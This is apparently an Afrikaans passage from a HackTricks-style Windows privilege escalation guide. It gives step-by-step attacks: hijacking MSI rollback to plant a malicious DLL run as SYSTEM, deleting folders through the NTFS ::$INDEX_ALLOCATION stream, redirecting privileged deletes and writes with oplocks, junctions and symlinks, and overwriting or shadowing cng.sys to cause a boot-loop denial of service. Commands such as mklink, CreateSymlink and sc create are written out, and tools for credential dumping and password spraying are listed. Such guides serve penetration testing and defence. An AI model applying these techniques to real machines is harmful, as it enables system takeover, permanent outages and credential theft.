Die opgesomde tegniek is die volgende:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)
  • Step 1: Install the MSI

  • Skep ’n .msi wat ’n skadelose lêer (bv., dummy.txt) in ’n skryfbare vouer (TARGETDIR) installeer.

  • Merk die installer as “UAC Compliant”, sodat ’n non-admin user dit kan uitvoer.

  • Hou ’n handle oop na die lêer na die installasie.

  • Step 2: Begin Uninstall

  • Deïnstalleer dieselfde .msi.

  • Die deïnstallasieproses begin lêers na C:\Config.Msi verskuif en hernoem na .rbf lêers (rollback-rugsteun).

  • Poll die oop lêer-handle met GetFinalPathNameByHandle om te detecteer wanneer die lêer C:\Config.Msi\<random>.rbf word.

  • Step 3: Custom Syncing

  • Die .msi bevat ’n custom uninstall action (SyncOnRbfWritten) wat:

  • Gee ’n sein wanneer die .rbf geskryf is.

  • Wag dan op ’n ander gebeurtenis voordat die deïnstallering voortgaan.

  • Step 4: Block Deletion of .rbf

  • Wanneer gemeld, open die .rbf lêer sonder FILE_SHARE_DELETE — dit verhoed dat dit verwyder word.

  • Dan seine terug sodat die deïnstallering kan klaar maak.

  • Windows Installer slaag nie daarin om die .rbf te verwyder nie, en omdat dit nie al die inhoud kan verwyder nie, word C:\Config.Msi nie verwyder nie.

  • Step 5: Manually Delete .rbf

  • Jy (aanvaller) verwyder die .rbf lêer handmatig.

  • Nou is C:\Config.Msi leeg, gereed om gekaap te word.

Op hierdie punt, trigger die SYSTEM-level arbitrary folder delete kwetsbaarheid om C:\Config.Msi te verwyder.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones
  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Skep die C:\Config.Msi vouer weer self.

  • Stel swak DACLs in (bv., Everyone:F), en hou ’n handle oop met WRITE_DAC.

  • Step 7: Run Another Install

  • Installeer die .msi weer, met:

  • TARGETDIR: Skryfbare ligging.

  • ERROROUT: ’n veranderlike wat ’n gedwonge fout veroorsaak.

  • Hierdie installasie sal gebruik word om rollback weer te aktiveer, wat .rbs en .rbf lees.

  • Step 8: Monitor for .rbs

  • Gebruik ReadDirectoryChangesW om C:\Config.Msi te moniteer totdat ’n nuwe .rbs verskyn.

  • Vang sy lêernaam op.

  • Step 9: Sync Before Rollback

  • Die .msi bevat ’n custom install action (SyncBeforeRollback) wat:

  • Gee ’n sein wanneer die .rbs geskep is.

  • Wag dan voordat dit voortgaan.

  • Step 10: Reapply Weak ACL

  • Nadat die .rbs created gebeurtenis ontvang is:

  • Die Windows Installer pas weer sterk ACLs toe op C:\Config.Msi.

  • Maar aangesien jy steeds ’n handle met WRITE_DAC het, kan jy weer swak ACLs toepas.

ACLs word slegs op handle-open afgedwing, so jy kan steeds na die vouer skryf.

  • Step 11: Drop Fake .rbs and .rbf

  • Oorskryf die .rbs lêer met ’n vals rollback-skrip wat Windows sê om:

  • Herstel jou .rbf lêer (malicious DLL) na ’n geprivilegieerde ligging (bv., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Plaas jou vals .rbf wat ’n kwaadwillige SYSTEM-vlak payload DLL bevat.

  • Step 12: Trigger the Rollback

  • Seine die sync-gebeurtenis sodat die installer voortgaan.

  • ’n type 19 custom action (ErrorOut) is gekonfigureer om die installasie doelbewus te laat misluk op ’n bekende punt.

  • Dit veroorsaak dat rollback begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Lees jou kwaadwillige .rbs.

  • Kopieer jou .rbf DLL na die teikenligging.

  • Jy het nou jou kwaadwillige DLL in ’n deur SYSTEM-gelaaide pad.

  • Final Step: Execute SYSTEM Code

  • Voer ’n vertroude auto-elevated binary uit (bv., osk.exe) wat die DLL laai wat jy gekaap het.

  • Boom: Jou kode word as SYSTEM uitgevoer.

Van Arbitrary File Delete/Move/Rename na SYSTEM EoP

Die hoof MSI rollback-tegniek (hierbo) veronderstel dat jy ’n hele vouer kan verwyder (bv., C:\Config.Msi). Maar wat as jou kwesbaarheid slegs arbitrary file deletion toelaat?

Jy kan NTFS-interne werking misbruik: elke vouer het ’n verborge alternatiewe datastroom genaamd:

C:\SomeFolder::$INDEX_ALLOCATION

Hierdie stroom stoor die indeksmetadata van die gids.

Dus, as jy die ::$INDEX_ALLOCATION-stroom van ’n gids verwyder, verwyder NTFS die hele gids uit die lêerstelsel.

Jy kan dit doen met standaard lêerverwyderings-APIs soos:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Alhoewel jy ’n file delete API aanroep, verwyder dit die gids self.

Van Folder Contents Delete na SYSTEM EoP

Wat as jou primitive jou nie toelaat om arbitrêre lêers/gidse te verwyder nie, maar dit laat wel die verwydering van die inhoud van ’n deur ’n aanvaller beheerde gids toe?

  1. Stap 1: Stel ’n lokmap en lêer op
  • Create: C:\temp\folder1
  • Inside it: C:\temp\folder1\file1.txt
  1. Stap 2: Plaas ’n oplock op file1.txt
  • Die oplock pauzeer die uitvoering wanneer ’n bevoorregte proses probeer om file1.txt te verwyder.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Stap 3: Aktiveer SYSTEM-proses (bv. SilentCleanup)
  • Hierdie proses skandeer vouers (bv. %TEMP%) en probeer hul inhoud verwyder.
  • Wanneer dit by file1.txt aankom, ontlok die oplock en oorhandig dit beheer aan jou callback.
  1. Stap 4: Binne die oplock callback – herlei die verwydering
  • Opsie A: Skuif file1.txt na ’n ander plek

  • Dit maak folder1 leeg sonder om die oplock te breek.

  • Moet nie file1.txt direk verwyder nie — dit sou die oplock voortydig vrylaat.

  • Opsie B: Skakel folder1 om in ’n junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opsie C: Skep ’n symlink in \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

Dit mik op die NTFS interne stroom wat vouermetadata stoor — deur dit te verwyder, verwyder jy die vouer.

  1. Stap 5: Vrylaat die oplock
  • SYSTEM-proses gaan voort en probeer om file1.txt te verwyder.
  • Maar nou, as gevolg van die junction + symlink, verwyder dit eintlik:
C:\Config.Msi::$INDEX_ALLOCATION

Resultaat: C:\Config.Msi word deur SYSTEM verwyder.

Van Arbitrary Folder Create na Permanent DoS

Benut ’n primitiewe wat jou toelaat om create an arbitrary folder as SYSTEM/admin — selfs al kan jy nie lêers skryf nie of swak toestemmings instel.

Skep ’n gids (nie ’n lêer nie) met die naam van ’n kritieke Windows driver, bv.:

C:\Windows\System32\cng.sys
  • Hierdie pad stem gewoonlik ooreen met die cng.sys kernel-mode driver.
  • Indien jy dit vooraf as ’n vouer skep, misluk Windows om die werklike bestuurder tydens opstart te laai.
  • Daarna probeer Windows tydens opstart cng.sys laai.
  • Dit sien die vouer, misluk om die werklike bestuurder te lokaliseer, en stort of onderbreek die opstart.
  • Daar is geen terugvalopsie, en geen herstel sonder eksterne ingryping (bv., opstartherstel of skyftoegang).

Wanneer ’n geprivilegieerde diens logs/eksporte skryf na ’n pad wat gelees word uit ’n skryfbare konfigurasie, herlei daardie pad met Object Manager symlinks + NTFS mount points om die geprivilegieerde skrywing in ’n arbitrêre oor-skryf te verander (selfs sonder SeCreateSymbolicLinkPrivilege).

Vereistes

  • Konfigurasie wat die teikenpad stoor is skryfbaar deur die aanvaller (bv., %ProgramData%\...\.ini).
  • Vermoë om ’n mount point te skep na \RPC Control en ’n OM file symlink (James Forshaw symboliclink-testing-tools).
  • ’n Geprivilegieerde operasie wat na daardie pad skryf (log, export, report).

Voorbeeldketting

  1. Lees die konfigurasie om die geprivilegieerde logbestemming te bepaal, bv. SMSLogFile=C:\users\iconics_user\AppData\Local\Temp\logs\log.txt in C:\ProgramData\ICONICS\IcoSetup64.ini.
  2. Herlei die pad sonder administrateurregte:
mkdir C:\users\iconics_user\AppData\Local\Temp\logs
CreateMountPoint C:\users\iconics_user\AppData\Local\Temp\logs \RPC Control
CreateSymlink "\\RPC Control\\log.txt" "\\??\\C:\\Windows\\System32\\cng.sys"
  1. Wag vir die geprivilegieerde komponent om die log te skryf (bv. admin aktiveer “send test SMS”). Die skryf beland nou in C:\Windows\System32\cng.sys.
  2. Inspekteer die oor-skryfde teiken (hex/PE parser) om korrupsie te bevestig; ’n herbegin dwing Windows om die gemanipuleerde driver-pad te laai → boot loop DoS. Dit generaliseer ook na enige beskermde lêer wat ’n geprivilegieerde diens vir skryf sal oopmaak.

cng.sys word normaalweg gelaai vanaf C:\Windows\System32\drivers\cng.sys, maar as ’n kopie bestaan in C:\Windows\System32\cng.sys kan dit eers probeer word, wat dit ’n betroubare DoS-sink maak vir korrupte data.

Van High Integrity na SYSTEM

Nuwe service

As jy reeds op ’n High Integrity-proses loop, kan die pad na SYSTEM eenvoudig wees deur bloot ’n nuwe service te skep en uit te voer:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Wanneer jy ’n service binary skep, maak seker dit is ’n geldige service of dat die binary die nodige aksies vinnig uitvoer, aangesien dit binne 20s gedood sal word as dit nie ’n geldige service is nie.

AlwaysInstallElevated

Van ’n High Integrity proses kan jy probeer om die AlwaysInstallElevated registry entries te aktiveer en ’n reverse shell te install met ’n .msi wrapper.
Meer inligting oor die registrysleutels wat betrokke is en hoe om ’n .msi pakket te installeer hier.

High + SeImpersonate privilege to System

Jy kan find the code here.

From SeDebug + SeImpersonate to Full Token privileges

As jy daardie token privileges het (waarskynlik sal jy dit in ’n reeds High Integrity proses vind), sal jy in staat wees om byna enige proses te open (nie-beskermde prosesse nie) met die SeDebug privilege, die token van die proses te kopieer, en ’n arbitrêre proses met daardie token te skep.
Gewoonlik kies mens ’n proses wat as SYSTEM loop met al die token privileges (ja, jy kan SYSTEM prosesse vind sonder al die token privileges).
Jy kan ’n example of code executing the proposed technique here.

Named Pipes

Hierdie tegniek word deur meterpreter gebruik om in getsystem op te skaal. Die tegniek bestaan uit die skep van ’n pipe en dan die skep/misbruik van ’n service om op daardie pipe te skryf. Daarna sal die server wat die pipe geskep het met die SeImpersonate privilege in staat wees om die token van die pipe client (die service) te impersonate en SYSTEM-privileges te verkry.
As jy meer wil weet oor name pipes learn more about name pipes you should read this.
As jy ’n voorbeeld wil lees van how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Indien jy daarin slaag om ’n dll te hijack wat deur ’n proses wat as SYSTEM loop gelaai word, sal jy arbitrêre kode met daardie regte kan uitvoer. Dll Hijacking is dus nuttig vir hierdie tipe privilege escalation, en verder baie makkelijker om van ’n High Integrity proses te bereik aangesien dit write permissions op die gidse sal hê wat gebruik word om dlls te laai.
Jy kan learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Lees: https://github.com/itm4n/FullPowers

Meer hulp

Static impacket binaries

Nuttige gereedskap

Beste hulpmiddel om Windows local privilege escalation vectors te soek: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Kontroleer vir wankonfigurasies en sensitiewe lêers (check here). Detected.
JAWS – Kontroleer vir sekere moontlike wankonfigurasies en versamel inligting (check here).
privesc – Kontroleer vir wankonfigurasies
SessionGopher – Dit onttrek PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoor sessie-inligting. Gebruik -Thorough plaaslik.
Invoke-WCMDump – Onttrek kredensiale uit die Credential Manager. Detected.
DomainPasswordSpray – Spray versamelde wagwoorde oor die domein
Inveigh – Inveigh is ’n PowerShell ADIDNS/LLMNR/mDNS spoofer en man-in-the-middle tool.
WindowsEnum – Basiese privesc Windows enumerasie
Sherlock ~~~~ – Soek vir bekende privesc kwesbaarhede (DEPRECATED vir Watson)
WINspect – Plaaslike kontroles ( benodig Admin regte )

Exe

Watson – Soek vir bekende privesc kwesbaarhede (moet saamgestel word met VisualStudio) (precompiled)
SeatBelt – Enumereer die gasheer op soek na wankonfigurasies (meer ’n inligtingsversamelingsinstrument as privesc) (moet saamgestel word) (precompiled)
LaZagne – Onttrek kredensiale uit baie sagteware (voorafgecompileerde exe op GitHub)
SharpUP – Poort van PowerUp na C#
Beroot ~~~~ – Kontroleer vir wankonfigurasies (uitvoerbare voorgekompilereer op GitHub). Nie aanbeveel nie. Dit werk nie goed op Win10 nie.
Windows-Privesc-Check – Kontroleer vir moontlike wankonfigurasies (exe van python). Nie aanbeveel nie. Dit werk nie goed op Win10 nie.

Bat

winPEASbat – Instrument gebaseer op hierdie pos (dit benodig nie accesschk om behoorlik te werk nie, maar kan dit gebruik).

Local

Windows-Exploit-Suggester – Lees die uitvoer van systeminfo en raai werkende exploits aan (lokaal python)
Windows Exploit Suggester Next Generation – Lees die uitvoer van systeminfo en raai werkende exploits aan (lokaal python)

Meterpreter

multi/recon/local_exploit_suggestor

Jy moet die projek saamstel met die korrekte weergawe van .NET (see this). Om die geïnstalleerde weergawe van .NET op die slagoffer-host te sien kan jy doen:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks